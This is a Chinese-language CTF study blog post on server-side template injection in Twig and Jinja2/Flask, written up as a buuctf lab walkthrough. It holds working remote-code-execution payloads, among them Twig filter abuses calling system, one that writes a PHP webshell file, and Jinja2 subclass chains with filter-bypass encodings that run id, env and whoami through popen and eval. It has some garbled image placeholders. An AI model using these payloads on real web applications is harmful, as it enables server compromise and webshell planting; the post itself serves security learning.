2021.11.08【web刷题记录】

SSTI模板注入


模板引擎注入

参考https://www.cnblogs.com/wangtanzhi/p/12238779.html

https://blog.csdn.net/m0_55109452/article/details/117474173

模板注入可以分成这么几种,有smarty,mako,Jinja2, Twig等,这些对应的是不同的模板引擎

模板引擎:作用就是可以控制前端输出的内容

smarty可以直接在花括号内写入想要执行的函数

而Twig需要一些

img

利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。

参考这里进行安装和使用https://blog.csdn.net/weixin_47726676/article/details/115905366

img

根据题目名“IP”,结合访问反馈ip,不难想到X-Forwarded-for ,该请求头代表了请求头的IP

直接使用火狐浏览器打开网站,使用插件Hackbar,添加X-Forwarded-For头后发现是可控的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iRfDnB3g-1636373113028)(C:/Users/15334/AppData/Roaming/Typora/typora-user-images/image-20211011104649222.png)]

经过测试,{{7*‘7’}}是可以执行的,那么是flask/jinja2模板注入或者PHP/模版引擎Twig注入,参考这个来构造payload:
在这里插入图片描述

直接查看config就看到了flag
在这里插入图片描述

X-Forwarded-For: {{system(‘cd …;ls’}}

也可以使用burp suite来抓包修改

Twig有过滤器,64种

twig payloads

https://xz.aliyun.com/t/7518#toc-5

直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。id是要执行的命令

  • {{["id"]|map("system")|join(",")
  • {{["id", 0]|sort("system")|join(",")}}
  • {{["id"]|filter("system")|join(",")}}
  • {{[0, 0]|reduce("system", "id")|join(",")}}
  • {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

例:使用map过滤器

twig——{{_self}},这个变量名可以显示自己的

smarty——也有这样的自带的变量名,可以来判断是否是这种模板

使用map的过滤器,发现回显的是bad hacker

把map删掉后出现了报错,说明是map被过滤掉了,可以尝试使用别的过滤器

在这里插入图片描述
在这里插入图片描述

要找到模板注入点,而且会有过滤,还有可能是sandbox,就不能执行php代码了

python flask模板注入

jinjia2

select_get可以获得一些敏感信息

可以参考学习的网站:https://blog.csdn.net/qq_40827990/article/details/82940894

https://blog.csdn.net/qq_38154820/article/details/111399386

https://my.oschina.net/u/4541916/blog/4356926

python2和python3的区别,python3中没有base之类的了

绕过技巧:

  • 过滤引号:使用列表、元组等不需要引号的类型。也可以使用request,例:request.a之类的

  • 过滤方括号:不能取下面一个类/属性的,可以使用pop等函数

  • 过滤下划线:16进制编码来绕过

  • 过滤点号要用

  • 过滤花括号:过滤两个,利用用{%}这样的方式。但是过滤单个的话,就不好做了

  • 使用jinjia2的过滤器:attr

这里的方法是先用__class__先找到’'的类
用__bases__找到他的基类
subclass()找到子类

不断查找子类,找到可以使用的、已经加载进来的方法来实现执行系统命令

常用的是用build调用eval函数,或者使用popen函数

在子类中并不是所有的都能用上,需要找的
一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息

用post的方式来做
在这里插入图片描述

在这里插入图片描述

找到warning函数

利用python的脚本,查找可以用的函数:

def find():
    list = ""
    list = list.replace('\'','')
    list = list.replace('<','')
    list = list.replace('>','')
    list = list.replace('class ','')
    list = list.replace('enum ','')
    list = list.replace('type ','')
    list = list.replace(' ','')
    list = list.split(',')
    print(list)
    className = 'warnings.catch_warnings' #需要查找的模块名称
    num = list.index(className)
    print(num) #返回索引
if __name__ == '__main__':
    find()

06 构造payload

以下为绕过思路:

  1. 原语句为:().__class__.__bases__[0].__subclasses__()
  2. 过滤了点号,使用[" "]代替:()["__class__"]["__bases__"][0]["__subclasses__"]()
  3. 过滤了下划线,使用十六进制\x5f代替:()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()
  4. 过滤了关键字,采用字符串拼接:()["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fbas"+"es\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()
  5. 成功绕过过滤
nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}

构造的payload的语句

变量块 {{}}	用于将表达式打印到模板输出
注释块 {##}	注释
控制块	{%%}	可以声明变量,也可以执行语句
行声明	##		可以有和{%%}相同的效果
例题:buuctf [flask]SSTI

http://node4.buuoj.cn:27643/

说明存在SSTI注入点

可以一点一点查询,也可以插入一段python代码来执行:

#执行id
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
#执行env,打印出环境
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值